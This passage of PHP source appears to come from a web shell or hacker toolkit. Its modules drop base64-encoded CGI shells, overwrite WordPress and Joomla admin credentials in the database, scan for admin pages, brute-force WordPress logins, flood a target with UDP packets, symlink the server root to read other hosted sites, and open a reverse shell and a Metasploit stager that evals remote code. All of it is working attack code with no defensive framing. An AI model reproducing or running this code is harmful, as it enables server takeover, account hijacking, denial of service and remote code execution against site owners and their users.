$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
